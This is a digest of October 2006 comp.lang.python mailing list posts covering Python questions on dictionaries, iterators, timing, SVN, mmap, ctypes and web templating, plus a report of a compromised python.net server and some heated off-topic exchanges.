> starship.python.net was compromised.  It looked like a rootkit may have been
> installed.  The volunteer admins are in the process of reinstalling the OS
> and rebuilding the system.  That process will probably take a few days at
> least.

Does anyone know more?

What about the integrity of the python packages hosted there?
When was the site compromised?
I just installed the python 2.5 pywin module last week.
Should I be concerned?

Is this related to the Python security problem recently announced?



From python at hope.cz  Wed Oct 18 12:13:43 2006
From: python at hope.cz (Lad)
Date: 18 Oct 2006 09:13:43 -0700
Subject: Dictionaries
In-Reply-To: <mailman.699.1161186279.11739.python-list@python.org>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
	<mailman.699.1161186279.11739.python-list@python.org>
Message-ID: <1161188023.121408.194870@m7g2000cwm.googlegroups.com>


Tim Chase wrote:
> > How can I add two dictionaries into one?
> > E.g.
> > a={'a:1}
> > b={'b':2}
> >
> > I need
> >
> > the result {'a':1,'b':2}.
>
>  >>> a.update(b)
>  >>> a
> {'a':1,'b':2}
>
> -tkc

Thank you ALL for help.
However It does not work as I would need.
Let's suppose I have

 a={'c':1,'d':2}
 b={'c':2}
but
 a.update(b)
will make
{'c': 2, 'd': 2}

and I would need
{'c': 3, 'd': 2}

(because `c` is 1 in `a` dictionary and `c` is 2 in `b` dictionary, so
1+2=3)

How can be done that?
Thank you for the reply
L



From hanumizzle at gmail.com  Mon Oct 16 23:59:25 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Mon, 16 Oct 2006 23:59:25 -0400
Subject: wing ide vs. komodo?
In-Reply-To: <1160784476.741444.215490@f16g2000cwb.googlegroups.com>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<1160784476.741444.215490@f16g2000cwb.googlegroups.com>
Message-ID: <463ff4860610162059i1c15ee83h8ff6f3976ea12cdd@mail.gmail.com>

On 13 Oct 2006 17:07:56 -0700, Sandra-24 <sandravandale at yahoo.com> wrote:
> John Salerno wrote:
> > Just curious what users of the two big commercial IDEs think of them
> > compared to one another (if you've used both).
> >
> > Wing IDE looks a lot nicer and fuller featured in the screenshots, but a
> > glance at the feature list shows that the "personal" version doesn't
> > even support code folding! That's a little ridiculous and makes me have
> > doubts about it.
>
> Well I don't know about the personal edition, but I've used Komodo and
> Wing, and I must say that I chose Wing in the end because it's debugger
> is so much more robust than komodo. I tried remote debugging mod_python
> using komodo, and it just choked. I spent a week trying to get it to
> work. Wing, on the other hand, just worked. I have only the highest
> praise for the Wing IDE Debugger, once you get to know it, it's so much
> more powerful than Komodo's. The time saved over Komodo was well worth
> the money for the professional edition.

Well, the beauty of Python is that even seasoned programmers have told
me that they've only used pdb several times /in their lives/.

-- Theerasak


From bborcic at gmail.com  Sat Oct 21 09:42:23 2006
From: bborcic at gmail.com (Boris Borcic)
Date: Sat, 21 Oct 2006 15:42:23 +0200
Subject: Is x.f() <==>MyClass.f(x) a kind of algebraic structure?
In-Reply-To: <1161424930.151657.18530@m7g2000cwm.googlegroups.com>
References: <1161424930.151657.18530@m7g2000cwm.googlegroups.com>
Message-ID: <453a23ec$1_7@news.bluewin.ch>

steve wrote:
> What can we think that?

When much stretch definitions


From carsten at uniqsys.com  Sun Oct  1 10:41:10 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Sun, 1 Oct 2006 10:41:10 -0400
Subject: [ANN] InformixDB-2.3 released
Message-ID: <20061001143722.M33987@uniqsys.com>

I am pleased to announce a new release of InformixDB, the DB-API 2.0 module
for connecting to IBM Informix database engines.

Changes since version 2.2:

- Allow parameter list for executemany() to be arbitrary iterable objects.
- .prepare() method and .command attribute for explicitly prepared statements
- Python 2.5 compatibility
- Bug fixes:
  * Rare crashes caused by missing error check in DESCRIBE step.
  * Inconsistent UDT input binding caused SQLCODE -1820 in bulk insert
    (executemany) if UDT contents went back and forth across 32K size
    boundary or between null and non-null.
  * EXECUTE PROCEDURE erroneously attempted to open a results cursor for
    procedures that don't return results.
  * Date columns were read incorrectly on 64 bit platforms due to mixup
    of int4 versus long.

Downloads and info at http://informixdb.sourceforge.net

Best regards,

Carsten Haese



From __peter__ at web.de  Tue Oct 31 06:53:20 2006
From: __peter__ at web.de (Peter Otten)
Date: Tue, 31 Oct 2006 12:53:20 +0100
Subject: Help me understand this iterator
References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>
Message-ID: <ei7dfe$7lt$02$1@news.t-online.com>

LaundroMat wrote:

> Hi,
> 
> I've found this script over at effbot
> (http://effbot.org/librarybook/os-path.htm), and I can't get my head
> around its inner workings. Here's the script:
> 
> import os
> 
> class DirectoryWalker:
>     # a forward iterator that traverses a directory tree
> 
>     def __init__(self, directory):
>         self.stack = [directory]
>         self.files = []
>         self.index = 0
> 
>     def __getitem__(self, index):
>         while 1:
>             try:
>                 file = self.files[self.index]
>                 self.index = self.index + 1
>             except IndexError:
>                 # pop next directory from stack
>                 self.directory = self.stack.pop()
>                 self.files = os.listdir(self.directory)
>                 self.index = 0
>             else:
>                 # got a filename
>                 fullname = os.path.join(self.directory, file)
>                 if os.path.isdir(fullname) and not
> os.path.islink(fullname):
>                     self.stack.append(fullname)
>                 return fullname
> 
> for file in DirectoryWalker("."):
>     print file
> 
> Now, if I look at this script step by step, I don't understand:
> - what is being iterated over (what is being called by "file in
> DirectoryWalker()"?);
> - where it gets the "index" value from;
> - where the "while 1:"-loop is quitted.

With 

dw = DirectoryWalker(".")

the for loop is equivalent to

index = 0 # internal variable, not visible from Python
while True:
    try: 
        file = dw[index] # invokes dw.__getitem__(index)
    except IndexError:
        break
    print file

This is an old way of iterating over a sequence which is only used when the
iterator-based approach

dwi = iter(dw) # invokes dw.__iter__()
while True:
    try:
        file = dwi.next()
    except StopIteration:
        break
    print file    

fails.

Peter


From fredrik at pythonware.com  Thu Oct 12 03:56:07 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 09:56:07 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><pan.2006.10.09.18.24.45.251048@gmx.net><452b7aae$0$306$426a74cc@news.free.fr>
	<eghai4$615$1@online.de><mailman.343.1160617110.11739.python-list@python.org><1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<RsudnbR7xv4VQ7DYnZ2dnUVZ_oydnZ2d@speakeasy.net>
Message-ID: <egkseo$sg5$1@sea.gmane.org>

Erik Max Francis wrote:

>> http://dabodev.com
>> http://case.lazaridis.com/wiki/DaboAudit
>
> Who.  Cares.  What.  You.  Think?

his mom?

</F> 





From eur.van.andel at gmail.com  Wed Oct 11 10:38:16 2006
From: eur.van.andel at gmail.com (eur.van.andel at gmail.com)
Date: 11 Oct 2006 07:38:16 -0700
Subject: hundreds of seconds?
Message-ID: <1160577496.366622.310080@i3g2000cwc.googlegroups.com>

Hi all

How can I access partial seconds on the system clock?

I measure air speed and water flow in a heat-exchanger test stand and
count pulses from both water meter and air speed meter. I divide the
amount of these counts over a certain interval with the time of that
interval. Since I only have seconds, I need to wait 100 seconds for may
calculation is I want a precision of 1%.

The radiator fan that I use can't stand these long intervals, 'cause I
run it with 24V and 50 Amps to get decent airflow (10m/s) through my
heat exchanger.

Again: how do I get the hundreds of seconds from the system clock?

In Pascal it was:  GetTime( Hr1, Min1, Sec1, cSec1);  (yes, I'm that
old).

---
ir EE van Andel eur at fiwihex.nl www.fiwihex.nl
Fiwihex B.V. Wierdensestraat 74, NL7604BK Almelo, Netherlands
tel+31-546-491106 fax+31-546-491107



From gh at gregor-horvath.com  Fri Oct 13 04:32:52 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Fri, 13 Oct 2006 10:32:52 +0200
Subject: Using SVN with Python and .pyc files
In-Reply-To: <iOHXg.22333$Ij.6430@newssvr14.news.prodigy.com>
References: <iOHXg.22333$Ij.6430@newssvr14.news.prodigy.com>
Message-ID: <72550$452f4f34$506c2949$5297@news.chello.at>

James Stroud schrieb:

> project or package. How do people manage this? Do you run a script to
> find files with the .pyc extension and delete those before every commit,
> or is there a more elegant way? It seems like a lot of wasted bandwidth
> an memory on the server side to constantly be dealing with these files
> that contain no real information.

in /etc/subversion/config

global-ignores = *.pyc *~ #*#

-- 
  Servus, Gregor


From gagsl-py at yahoo.com.ar  Mon Oct 30 20:23:03 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 30 Oct 2006 22:23:03 -0300
Subject: scared about refrences...
In-Reply-To: <1162251429.386255.289620@e3g2000cwe.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<1162251429.386255.289620@e3g2000cwe.googlegroups.com>
Message-ID: <7.0.1.0.0.20061030221143.04eb35f0@yahoo.com.ar>

At Monday 30/10/2006 20:37, Nick Vatamaniuc wrote:

>In  Python all the primitives are copied and all other entities are
>references.

What do you mean?
primitives==builtin classes?
entities==objects?
In Python, objects are never automatically copied, either builtin or 
user-defined. Even 123 is an object. Names provide references to objects.
Perhaps you were thinking of *another* language.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From ilias at lazaridis.com  Sun Oct  8 12:32:37 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 8 Oct 2006 09:32:37 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.42.1160280552.11739.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45254B18.2090806@v.loewis.de>
	<0BQVg.138807$zy5.1859480@twister1.libero.it>
	<eg8v0u$g3m$1@panix3.panix.com>
	<2vXVg.139282$_J1.908700@twister2.libero.it>
	<1160279378.414897.263600@i42g2000cwa.googlegroups.com>
	<mailman.42.1160280552.11739.python-list@python.org>
Message-ID: <1160325157.573430.175040@b28g2000cwb.googlegroups.com>

Ben Finney wrote:
> "Ilias Lazaridis" <ilias at lazaridis.com> writes:
>
> > As for Mr. Holden... it's not a matter of not respecting you.
> > It is in his nature to babble in this way.
> > Sometimes it's even funny!
>
> Oh my. You have *seriously* misjudged this group if you think that
> comment will give you any net gain in discussions here.

I'm not interested in any gain (except within the systems that I
produce).

My intention was mainly to place myself on the side of the OP, before
the 'Herd of Savages' (the 'Regular Posters') get's out of control and
eat's him.

.



From steve at holdenweb.com  Thu Oct  5 02:12:26 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 07:12:26 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <87hcyjel70.fsf@benfinney.id.au>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<mailman.1146.1159866456.10491.python-list@python.org>	<gzJUg.134225$zy5.1829430@twister1.libero.it>	<452410E9.9040403@v.loewis.de>	<TnVUg.135451$zy5.1833460@twister1.libero.it>	<1159997348.228622.246410@h48g2000cwc.googlegroups.com>
	<87hcyjel70.fsf@benfinney.id.au>
Message-ID: <eg27ml$ff6$1@sea.gmane.org>

Ben Finney wrote:
> "David Goodger" <dgoodger at gmail.com> writes:
> 
> 
>>Look at the results again. Jira and RoundUp tied for functionality,
>>but Jira has a hosting/admin offer behind it. That's huge. But
>>rather than declaring Jira the outright winner, which they could
>>have done, the committee has allowed the community to decide the
>>matter. If enough admins come forward, RoundUp will win.
>>
>>I read that as a big push for "written in Python".
> 
> 
> I prefer to read it as a big push for "not dependent on non-free
> tools".
> 
And I'd prefer it if you'd drop this subject. So, if you have nothing 
new to say, kindly leave it. You have made your opinion known, as you 
are fully entitled to do. Frankly I am getting less interested in your 
opinion with each new post.

You appear to be prepared to go to any length short of providing effort 
to support the open source tracker.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mike$#at^&nospam!%trauschus  Thu Oct 26 14:36:00 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Thu, 26 Oct 2006 14:36:00 -0400
Subject: PyDev + Eclipse (Was: Re: What's the best IDE?)
In-Reply-To: <1161880517.440039.215280@i3g2000cwc.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<mailman.1239.1161839217.11739.python-list@python.org>
	<KZudnVLsLcBkQN3YnZ2dnUVZ_rudnZ2d@comcast.com>
	<1161880517.440039.215280@i3g2000cwc.googlegroups.com>
Message-ID: <gOWdnVR1wIKPndzYnZ2dnUVZ_s-dnZ2d@comcast.com>

olive wrote:
> 
> Did you try to set your PYTHONPATH properly with the same content in
> both central AND project preferences ?
> 

Yep.  Still does it.  And the kicker is, that it does it with things
that it shouldn't have to wonder terribly much about -- classes that I
have custom-built, where it can easily find the available methods and
the like.  *shrugs*

	-- Mike


From kay.schluehr at gmx.net  Sun Oct 15 09:55:29 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 15 Oct 2006 06:55:29 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<1160802056.744732.323540@e3g2000cwe.googlegroups.com>
	<1160808124.455062.319660@m7g2000cwm.googlegroups.com>
	<1160862969.087167.29990@f16g2000cwb.googlegroups.com>
Message-ID: <1160920529.461012.263220@i3g2000cwc.googlegroups.com>

brenocon at gmail.com wrote:
> Kay Schluehr wrote:
> > The with statement is already implemented in Python 2.5.
> >
> > http://docs.python.org/whatsnew/pep-343.html
> >
> > The main difference between the with statement and Ruby blocks is that
> > the with-statement does not support loops. Yielding a value of a
> > function decorated with a contextmanager and passing it to the BLOCK of
> > the with statement is essentially a one-shot. Therefore you can't use
> > the with statement to define iterators. It is not a lightweight visitor
> > pattern replacement as it is in Ruby. Hence the with- and the
> > for-statement are orthogonal to each other in Python.
>
> Thanks or the What's-New link, it clarified things for me.  So there
> are several ways to do things with code blocks now in python..
>  * for/while define loops around their blocks
>  * if defines contional control into its block
>  * with defines startup/cleanup context surrounding its block
>
> Twisted addCallback() is a different pattern than either of these.  The
> code is deferred to execute at some later time.  If there are many more
> patterns of things you could want to do with a block, it might be nice
> to have a blocks-are-closures mechanism.

That's true. As I mentioned in my response to Paul Boddie I do think it
is a poor solution even in Ruby(!) but I agree that given the situation
we just have with poorly designed application frameworks ( no illusion:
they won't ever go away and I do not pretend to be smarter and doing it
better in any case ) blocks are a quite nice feature for providing ad
hoc solutions. I consider them as somewhat aligned with a
worse-is-better philosophy.

----

I recently created an extended lambda as an example for my EasyExtend
language extension framework for Python. These kind of showcases are,
at least for me, important for getting programming practice within the
system and explore and extend the framework. The two things I cared
about when altering the semantics of lambda were:
1) Enabling multiple expressions separated by ';'
2) Enabling so called "simple statements"

Python does not only distinguish between expressions and statements but
also between simple and compound statements within its grammar
description. A compound statement is typically multiline and contains a
block. A simple statement is something like print, exec, raise or
assert containing no block. So I actually extended lambda to the limit
of an anonymous closure containing no block.

One might take this into consideration and alter the premises. But this
would be up to you, breno. At the moment I do not recommend using EE
because it is under heavy reconstruction but for the not so distant
future ( end of november is my personal deadline for the next release )
I recommend taking a look on it by anyone who aims to walk the RoR path
of a customized domain specific language for Python. For those who are
dilligent there are will be quite a lot of examples. For some it might
be even fun.



From grahamd at dscpl.com.au  Sat Oct 21 22:48:36 2006
From: grahamd at dscpl.com.au (grahamd at dscpl.com.au)
Date: 21 Oct 2006 19:48:36 -0700
Subject: silent processing with python+modpython+cheetah
References: <mailman.907.1161451522.11739.python-list@python.org>
Message-ID: <1161485316.454645.97730@k70g2000cwa.googlegroups.com>


Sai Krishna M wrote:
> Hi,
>
> I have been working for some time developing web pages using python,
> modpython, cheetah.
> I find that this method has come inherent difficulties in it like if
> we want to generate a single page we have to write two separate files
> ( py & tmpl).
> Is there any other better way of doing things.?

It sounds like you are actually using mod_python.publisher and hand
crafting the code to render the template file in each instance. Using
mod_python.publisher is not the same as using basic mod_python handlers
directly. If you were using basic mod_python handlers directly, you
certainly could write your own dispatcher which encapsulates in one
place the code needed to render a Cheetah template file, thereby
avoiding the need to create .py file corresponding to every Cheetah
template file.

> Also if we want to have partial processing of the pages, i.e, the
> value one chooses for a particular field determines the value to be
> entered for another field in the same page, how can it be done?

That sounds like an internal issue of how you use Cheetah templates
itself. Cheetah templates have flow control abilities, blocks etc such
that one can control what parts of a page are actually used.

Since mod_python inherently means you start out working at a low level,
and that you don't perhaps fully appreciate the different levels of
functionality in mod_python and how to use them, you are possibly
better off using a high level framework such as Django or TurboGears
where someone else has done all the hard work of making it simple to
use.

Graham



From gal.diskin at gmail.com  Sat Oct  7 09:46:58 2006
From: gal.diskin at gmail.com (Gal Diskin)
Date: 7 Oct 2006 06:46:58 -0700
Subject: building strings from variables
References: <mailman.1390.1160090492.10491.python-list@python.org>
	<1160098957.196734.192950@i3g2000cwc.googlegroups.com>
	<zfjVg.4571$5i7.1420@newsreading01.news.tds.net>
Message-ID: <1160228818.446882.286550@i42g2000cwa.googlegroups.com>

First of all - thanks for all the replies. (Sorry for my slowness in
answering, but I wrote this message from work, just before leaving for
the weekend.)

I found a couple of posts that might be of interest:
Regarding speed I found a similar discussion in this newsgroup with
interesting results:
http://groups.google.com/group/comp.lang.python/browse_frm/thread/86aa0dd9dc0ed9cd/502a252f2c5ed778
Wesley, you might be interested to find that join is not necessarily
faster according to this thread. Jordan you might also be interested to
see their benchmarking.
The following post may also be of interest:
http://groups.google.com/group/comp.lang.python/msg/5ca4321e1d493fe9
(I haven't found the time to check this one myself so it comes with
limited warranty)

Regarding readability and "better" code my preferred methods are the 2
methods I haven't mentioned introduced by Rainy (%(varname)s ..." %
globals()) and by Scott David Daniels (' '.join[...]). Thanks, I
already knew join, but failed to include it for some reason but I
wasn't aware you could use dictionaries like this as well.

Thanks Jordan for making the effort to do the benchmarking. I think I
got similar results on several machines - according to my personal
benchmarking (based on short strings, and therefore relevant only to
such), the fastest method is "%s %d %s" % (p1, p2, p3) . However, all
other methods get close results (i.e. not above 1.5x runtime) except
for template.replace which is much slower by rate of about 15x. When it
comes to choosing between using template.replace or "%(varname)s ..." %
globals() my preference is for the latter without a doubt.

--
Gal Diskin
G__.D_____ at Intel.com
G__.D_____ at gmail.com
Work: +972-4-865-1637
Cell:   +972-54-7594166



From fredrik at pythonware.com  Wed Oct 11 05:42:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 11:42:43 +0200
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <463ff4860610110213v792e2fddr989d5d724270838@mail.gmail.com>
References: <mailman.259.1160543174.11739.python-list@python.org>	<452cab5d$0$5294$426a74cc@news.free.fr>	<463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>	<egic47$irg$1@sea.gmane.org>
	<463ff4860610110213v792e2fddr989d5d724270838@mail.gmail.com>
Message-ID: <egieak$rpv$1@sea.gmane.org>

Theerasak Photha wrote:

> I'll do that as soon as my green noggin figures out what 'idempotent' means.

"Acting as if used only once, even if used multiple times", to quote
the first explanation I saw on the google result page.

and from the irony department, googling for "indempotent" provides an 
even clearer explanation: "Refers to an operation that produces the same 
results no matter how many times it is performed."

</F>



From rschroev_nospam_ml at fastmail.fm  Sat Oct 14 10:00:05 2006
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Sat, 14 Oct 2006 14:00:05 GMT
Subject: Python component model
In-Reply-To: <Xy2Yg.9121$Y24.4810@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
	<1160692692.522474.96540@i42g2000cwa.googlegroups.com>
	<Xy2Yg.9121$Y24.4810@newsread4.news.pas.earthlink.net>
Message-ID: <F36Yg.128791$KB4.2318373@phobos.telenet-ops.be>

Edward Diener No Spam schreef:
> It would be easier for me if you could get an NG somewhere for 
> Enthought, perhaps on GMane, since I always find mailing lists much more 
> clunky than a good NG. But that is up to Enthought.

FYI: you don't necessarily depend on Enthought for that; anyone can ask 
Gmane to add a mailing list to their gateway via the form at 
http://gmane.org/subscribe.php


-- 
If I have been able to see further, it was only because I stood
on the shoulders of giants.  -- Isaac Newton

Roel Schroeven


From myeates at jpl.nasa.gov  Mon Oct 23 18:32:57 2006
From: myeates at jpl.nasa.gov (myeates at jpl.nasa.gov)
Date: 23 Oct 2006 15:32:57 -0700
Subject: using mmap on large (> 2 Gig) files
Message-ID: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>

Hi
Anyone ever done this? It looks like Python2.4 won't take a length arg
> 2 Gig since its not seen as an int. 

Mathew



From ewijaya at i2r.a-star.edu.sg  Tue Oct  3 09:37:20 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Tue, 03 Oct 2006 21:37:20 +0800
Subject: Howto pass Array/Hash into Function
References: <mailman.1148.1159867444.10491.python-list@python.org>
	<"11598677 55.636060.48790"@m7g2000cwm.googlegroups.com>
	<mailman.1149.1159868507.10491.python-list@python.org>
	<1159868807.385239.307390@h48g2000cwc.googlegroups.com>
	<eftjpo$3qh$1@sea.gmane.org>
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A061582@mailbe01.teak.local.net>


Thanks for your understanding Steve.
 
Furthermore, my related concern
is how does Python actually  deal with 'reference' in Perl.
But now, it is clear to me now that Python simply 
treats them as object.
 
Regards,
Edward WIJAYA
SINGAPORE

________________________________

From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Steve Holden
Sent: Tue 10/3/2006 8:08 PM
To: python-list at python.org
Subject: Re: Howto pass Array/Hash into Function




It wouldn't be obvious to someone who learned Perl as their first
programming language because Perl chose to ignore the otherwise almost
universal convention that formal parameters determine the arguments that
a function or procedure can be calles with.

regards
  Steve




------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From steve at holdenweb.com  Mon Oct 30 05:50:43 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 30 Oct 2006 10:50:43 +0000
Subject: wxPython for web development?
In-Reply-To: <1162178374.312799.247340@m73g2000cwd.googlegroups.com>
References: <1162178374.312799.247340@m73g2000cwd.googlegroups.com>
Message-ID: <ei4lbu$7ci$1@sea.gmane.org>

walterbyrd wrote:
> I assume that wxWidgets can not be used if all you have is mod-python?
> 
Correct. wxPython assumes access to some sort of screen-based interface, 
with direct keyboard and mouse input.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From surendra.lingareddy at gmail.com  Mon Oct 23 14:22:54 2006
From: surendra.lingareddy at gmail.com (Suren)
Date: 23 Oct 2006 11:22:54 -0700
Subject: HTML Templates (Sitemesh/Tiles concept) in Python
In-Reply-To: <453d02a7$0$15559$426a34cc@news.free.fr>
References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com>
	<453d02a7$0$15559$426a34cc@news.free.fr>
Message-ID: <1161627774.471594.223360@m7g2000cwm.googlegroups.com>


> Python with ? CGI ? FastCGI ? mod_python ? Other ?

We are using mod_python and SSI. We are inheriting some legacy code
that we do not want to mess with at all.

> You shouldn't - unless this is an internal web-based application, not a
> public site. Since your dynamically generating the pages, there's no
> gain using frames - but there are huge drawbacks, for the programmers as
> well as for the visitors.

Although not an internal site, this site is going to be in a controlled
environment. Only a handful of people may access the website.

> There are lot of web templating engines in Python, and most of them
> provide some way to either "extend" an existing template (to fill-in
> page-specific stuffs) or to do server-side-includes-like inclusion of
> common parts. Google for Genshi, Jinja, SimpleTAL, Mighty, Cheetah...

I will look at these and see it works.

>
> > Any other tips to help life easier are appreciated.
>
> Have you considered using one of the existing python web development
> libraries/frameworks? Like Pylons, Turbogears, Django, Spyce, Karigell,
> etc, etc, etc, etc...
>
> My 2 cents...

We have not considered a framework coz the legacy code base has not
included one. We are living in the same source structure and did not
want to introduce a newer dependency. I hope we can find a
non-intrusive library/framework that does its job.


Thanks.



From bj_666 at gmx.net  Wed Oct 18 18:41:35 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Thu, 19 Oct 2006 00:41:35 +0200
Subject: characters in python
References: <eh5p68$qcl$1@ss408.t-com.hr> <eh5t1s$bq2$3@ss408.t-com.hr>
Message-ID: <pan.2006.10.18.22.41.35.232075@gmx.net>

In <eh5t1s$bq2$3 at ss408.t-com.hr>, Stens wrote:

> Stens wrote:
>> Can python handle this characters: ?,?,?,?,??
>> 
>> If can how"
> I wanna to change some characters in text (in the file) to the 
> characters at this address:
> 
> http://rapidshare.de/files/37244252/Untitled-1_copy.png.html

Do you want to change the characters in a picture!?  Your question still
is *very* vague.  Please provide a more detailed description of the
problem at hand.

What do you have?  A text file?  In which encoding?  And what do you want
to achieve?

Ciao,
	Marc 'BlackJack' Rintsch


From cephire at gmail.com  Fri Oct 27 15:22:16 2006
From: cephire at gmail.com (Joseph)
Date: 27 Oct 2006 12:22:16 -0700
Subject: Import Error
Message-ID: <1161975391.074336.226460@m7g2000cwm.googlegroups.com>

Hi,
I am using Karrigell & Sprite for web development. Sprite is placed in
the main
folder of my app. I got a sub-folder called admin. I am using the below
line to import Sprite from the subfolder.

from ..sprite import Sprite

Most of the time it works. However time to time, it will throw an error
that there is no module called Sprite. I delete the .pyc file, call a
page in the main folder, then it will work.

Any help how I can resolve it? 

Thank you in advance,
Joseph



From peter.maas at utilog.de  Tue Oct 10 19:32:20 2006
From: peter.maas at utilog.de (Peter Maas)
Date: Wed, 11 Oct 2006 01:32:20 +0200
Subject: Python component model
In-Reply-To: <452b7aae$0$306$426a74cc@news.free.fr>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr>
Message-ID: <eghai4$615$1@online.de>

Bruno Desthuilliers schrieb:
 > Marc 'BlackJack' Rintsch wrote:
 > (snip)
 >   Python itself is a RAD tool.
 >
 > +1 QOTW

No, please stop self-assuring, self-pleasing QOTWs! This afternoon
I was in the local book warehouse and went to the computer book
department. They had banned 2-3 Python books together with some
Perl- and C/C++ stuff into the last row. At the regular place I found
a huge pile of Java books and - in comparison to Java - a small but
growing number of books about Ruby in general, Ruby on Rails and -
new to me - JRuby.

Now I don't think that Ruby is a bad language. But I think Python is
better and it started earlier. I don't know whether Ruby on Rails was
a fluke or the result of clever analysis. Since a large part of
programming is web programming it is not bad to have a good and visible
tool in place to attract programmers. It is also a good idea to hook on
Java's success but while Jython 2.2 is in alpha state since 3 years I
see an increasing number of books/articles telling how to migrate from
Java to (J)Ruby. Since I started using Python 4 years ago I hear Ruby
people announce with an amazing audacitiy that Ruby is bound to be number
one and will for sure leave Python behind.

To prevent this to happen parts of the Python community should have a
more critical attitude to the language. Too often I hear the same
mantras being repeated over and over again (GIL, self, IDE etc.). I
don't say these mantras are all wrong but perhaps it would be good to
remove the GIL just to stop people talking about Python's lack of
multi-threading or polish Python's class syntax to stop people talking
about Python's OO being bolted on etc. Programmers often choose their
languages by very silly reasoning (silliest being the indentation issue)
and maybe we should take the silliness into account instead of laughing
about those silly folks.

I for my part would be happy to see a Delphi-like RAD tool for Python,
a reference implementation for web programming as part of the standard
library, Jython 2.5, Python for PHP or whatever attracts new programmers.

Peter Maas, Aachen


From mnations at gmail.com  Fri Oct 27 20:37:04 2006
From: mnations at gmail.com (Mudcat)
Date: 27 Oct 2006 17:37:04 -0700
Subject: Ctypes Error: Why can't it find the DLL.
In-Reply-To: <453e9de8$0$12416$426a74cc@news.free.fr>
References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>
	<453e9de8$0$12416$426a74cc@news.free.fr>
Message-ID: <1161995824.947791.117190@m73g2000cwd.googlegroups.com>

That was it. Once I added the other DLLs then it was able to find and
make the call.

Thanks for all the help,
Marc


Bruno Desthuilliers wrote:
> Mudcat a ?crit :
> > Hi,
> >
> > I can't figure out why ctypes won't load the DLL I need to use. I've
> > tried everything I can find (and the ctypes website is down at the
> > moment). Here's what I've seen so far.
> >
> > I've added the file arapi51.dll to the system32 directory.  However
> > when I tried to access it I see this:
> >
> (snip)
> > WindowsError: [Errno 126] The specified module could not be found
> >
> > So then I use the find_library function, and it finds it:
> (snip)
> > At that point I try to use the LoadLibrary function, but it still can't
> > find it:
> (snip)
> > WindowsError: [Errno 126] The specified module could not be found
> >
> > What am I doing wrong? I've used ctypes before and not had this
> > problem. Before, I've just added the file to the system32 directory and
> > not had this problem.
>
> Looks like it could have to do with another dll arapi51.dll depends upon
> that would be missing, cf:
> http://aspn.activestate.com/ASPN/Mail/Message/ctypes-users/2593616
> 
> HTH



From timr at probo.com  Thu Oct 26 02:17:20 2006
From: timr at probo.com (Tim Roberts)
Date: Thu, 26 Oct 2006 06:17:20 GMT
Subject: How to get each pixel value from a picture file!
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>
	<mailman.1013.1161637584.11739.python-list@python.org>
	<1161643563.111993.109480@b28g2000cwb.googlegroups.com>
Message-ID: <bjk0k21jn33417rfpric0bdadctb1bdubf@4ax.com>

"Lucas" <Luwian at gmail.com> wrote:
>
>2) I want to put a number into the picture for encryption(replace least
>significant bit (LSB) of image intensity with message bit).

What formats are your images?  Remember that JPEG images are compressed
when they are written.  It is rather unlikely that your low-order bit
changes will survive the compression process.

